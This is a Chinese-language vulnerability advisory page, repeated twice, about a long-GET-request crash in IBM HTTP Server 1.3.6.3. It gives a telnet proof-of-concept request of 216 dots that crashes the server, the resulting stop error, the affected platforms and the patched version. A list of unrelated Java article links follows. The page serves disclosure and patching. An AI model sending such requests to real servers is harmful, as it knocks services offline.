IBM HTTP Server 遠(yuǎn)程溢出漏洞
更新時(shí)間：2006年10月13日 00:00:00 作者：
涉及程序：
GET
描述：
通過提交超長(zhǎng)的GET請(qǐng)求導(dǎo)致IBM HTTP Server遠(yuǎn)程溢出
詳細(xì)：
IBM 的 HTTP 服務(wù)器是一個(gè) web 服務(wù)器。在 Windows NT 使用的版本中存在拒絕服務(wù)的漏洞。
如果提交一個(gè)超過219個(gè)字符的 GET 請(qǐng)求，將導(dǎo)致服務(wù)器停止響應(yīng)，并報(bào)錯(cuò)。要恢復(fù)服務(wù)正常工作需要重新啟動(dòng)應(yīng)用程序。成功的利用該漏洞，攻擊者可在受害的主機(jī)上執(zhí)行任何代碼。（但這還未得到完全證實(shí)。）
以下代碼僅僅用來測(cè)試和研究這個(gè)漏洞，如果您將其用于不正當(dāng)?shù)耐緩秸?qǐng)后果自負(fù)
$ telnet target 80
GET /......(216個(gè)".")aaa HTTP/1.0
則系統(tǒng)會(huì)報(bào)告下列錯(cuò)誤信息：
***STOP:0x0000001e(0X00000005,0X804B3A51,0X00000000,0X00000000)KMODE_EXCEPTI
ON_NOT_HANDLED.
***Address 804B3A51 base at 80400000,Datastamp 384D9B17-ntoskrnl.exe
注意：目標(biāo)主機(jī)運(yùn)行在Windows 2000下。
受影響的系統(tǒng)
IBM HTTP Server 1.3.6.3
- TurboLinux Turbo Linux 3.0.1
- Sun Solaris 2.6
- S.u.S.E. Linux 6.1
- S.u.S.E. Linux 6.0
- RedHat Linux 6.0 sparc
- RedHat Linux 5.2 sparc
- Microsoft Windows NT 4.0
- IBM AIX 4.2.1
- Caldera OpenLinux 2.2
解決方案：
IBM 已經(jīng)在 1.3.12 版本中解決了此問題，下載地址：
http://www-4.ibm.com/software/webservers/httpservers/download.html
GET
描述：
通過提交超長(zhǎng)的GET請(qǐng)求導(dǎo)致IBM HTTP Server遠(yuǎn)程溢出
詳細(xì)：
IBM 的 HTTP 服務(wù)器是一個(gè) web 服務(wù)器。在 Windows NT 使用的版本中存在拒絕服務(wù)的漏洞。
如果提交一個(gè)超過219個(gè)字符的 GET 請(qǐng)求，將導(dǎo)致服務(wù)器停止響應(yīng)，并報(bào)錯(cuò)。要恢復(fù)服務(wù)正常工作需要重新啟動(dòng)應(yīng)用程序。成功的利用該漏洞，攻擊者可在受害的主機(jī)上執(zhí)行任何代碼。（但這還未得到完全證實(shí)。）
以下代碼僅僅用來測(cè)試和研究這個(gè)漏洞，如果您將其用于不正當(dāng)?shù)耐緩秸?qǐng)后果自負(fù)
$ telnet target 80
GET /......(216個(gè)".")aaa HTTP/1.0
則系統(tǒng)會(huì)報(bào)告下列錯(cuò)誤信息：
***STOP:0x0000001e(0X00000005,0X804B3A51,0X00000000,0X00000000)KMODE_EXCEPTI
ON_NOT_HANDLED.
***Address 804B3A51 base at 80400000,Datastamp 384D9B17-ntoskrnl.exe
注意：目標(biāo)主機(jī)運(yùn)行在Windows 2000下。
受影響的系統(tǒng)
IBM HTTP Server 1.3.6.3
- TurboLinux Turbo Linux 3.0.1
- Sun Solaris 2.6
- S.u.S.E. Linux 6.1
- S.u.S.E. Linux 6.0
- RedHat Linux 6.0 sparc
- RedHat Linux 5.2 sparc
- Microsoft Windows NT 4.0
- IBM AIX 4.2.1
- Caldera OpenLinux 2.2
解決方案：
IBM 已經(jīng)在 1.3.12 版本中解決了此問題，下載地址：
http://www-4.ibm.com/software/webservers/httpservers/download.html
相關(guān)文章
JSP避免Form重復(fù)提交的三種方案...2006-10-10
java操作mysql入門代碼實(shí)例（含插入、更新和查詢）
這篇文章主要介紹了java操作mysql代碼實(shí)例,通過執(zhí)行SQL語(yǔ)句實(shí)現(xiàn),需要的朋友可以參考下2014-04-04
品味Spring 的魅力...2006-10-10
將保存在bs數(shù)字中的big5編碼的字符串?dāng)?shù)據(jù)轉(zhuǎn)換成gb2312編碼的數(shù)據(jù) 此方法將更改原先存儲(chǔ)的數(shù)據(jù) 需要轉(zhuǎn)換的以big5編碼的字符串?dāng)?shù)據(jù)2008-12-12
hibernate中的增刪改查實(shí)現(xiàn)代碼
在hibernate中的增刪改查的實(shí)現(xiàn)。hibernate是OR框架，也就是對(duì)象關(guān)系框架，有了 hibernate我們就不用再去寫SQL語(yǔ)言，我們只需要操縱對(duì)象去進(jìn)行增刪改查。這里今天寫的就是在如何應(yīng)用hibernate實(shí)現(xiàn)增刪改查。2009-01-01
Hibernate通用數(shù)據(jù)庫(kù)操作代碼
Hibernate insert、delete、update、基于HQL的通用select、基于SQL的通用select方法2008-11-11
這篇文章主要介紹了詳解直接訪問WEB-INF目錄下的JSP頁(yè)面的方法的相關(guān)資料,需要的朋友可以參考下2017-06-06
本篇文章主要是對(duì)jsp頁(yè)面中插入css樣式的三種方法進(jìn)行了總結(jié)介紹，需要的朋友可以過來參考下，希望對(duì)大家有所幫助2014-01-01
頁(yè)面自動(dòng)刷新，不用按回車鍵來提交數(shù)據(jù)！
頁(yè)面自動(dòng)刷新，不用按回車鍵來提交數(shù)據(jù)！...2006-10-10
JSP中的FORM表單中只有一個(gè)input文本時(shí)，按回車鍵將會(huì)自動(dòng)提交表單
這篇文章主要介紹了JSP中的FORM表單中只有一個(gè)input文本的時(shí)候，按回車鍵將會(huì)自動(dòng)將表單提交的相關(guān)資料,需要的朋友可以參考下2017-01-01